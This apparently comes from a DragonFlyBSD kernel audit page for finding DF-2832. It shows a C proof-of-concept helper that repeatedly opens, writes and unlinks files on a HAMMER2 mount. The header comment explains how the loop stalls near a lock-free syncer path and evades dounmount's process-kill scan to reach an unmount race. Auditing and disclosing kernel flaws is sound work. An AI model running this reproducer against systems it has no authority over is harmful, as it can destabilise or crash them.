DragonFlyBSD Kernel Audit
DF-2832 / churn_open.c
← back to finding ↓ download raw
/*
 * DF-2832 open/unlink churner (unprivileged).
 *
 * Every open(O_CREAT|O_WRONLY) goes through ncp_writechk() ->
 * VFS_MODIFYING() -> hammer2_vfs_modifying() ->
 * hammer2_pfs_memory_wait() -> trigger_syncer()/trigger_syncer_start()
 * (sys/kern/vfs_sync.c) which load mp->mnt_syncer_ctx lock-free.
 *
 * With vfs.hammer2.limit_dirty_chains lowered, the churner spends nearly
 * all its time stalled inside hammer2_pfs_memory_wait -- i.e. inside or
 * adjacent to the trigger_syncer*() window -- while holding NO vnode
 * locks and (mid-open) NO fd on the mount, so dounmount()'s process-kill
 * scan (process_uses_mount, vfs_syscalls.c) does not match it.
 *
 * usage: churn_open <dir> <secs>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>

int
main(int argc, char **argv)
{
	char path[512];
	char buf[65536];
	time_t deadline;
	unsigned long n = 0;

	if (argc < 3) {
		fprintf(stderr, "usage: %s <dir> <secs>\n", argv[0]);
		return (2);
	}
	deadline = time(NULL) + atoi(argv[2]);
	memset(buf, 'X', sizeof(buf));

	while (time(NULL) < deadline) {
		snprintf(path, sizeof(path), "%s/c.%d.%d",
			 argv[1], (int)getpid(), (int)(n & 7));
		int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
		if (fd >= 0) {
			write(fd, buf, sizeof(buf));	/* dirty a chain */
			close(fd);
			unlink(path);
			n++;
		} else {
			usleep(10000);	/* mount between mounts */
		}
	}
	fprintf(stderr, "churn_open: %lu cycles\n", n);
	return (0);
}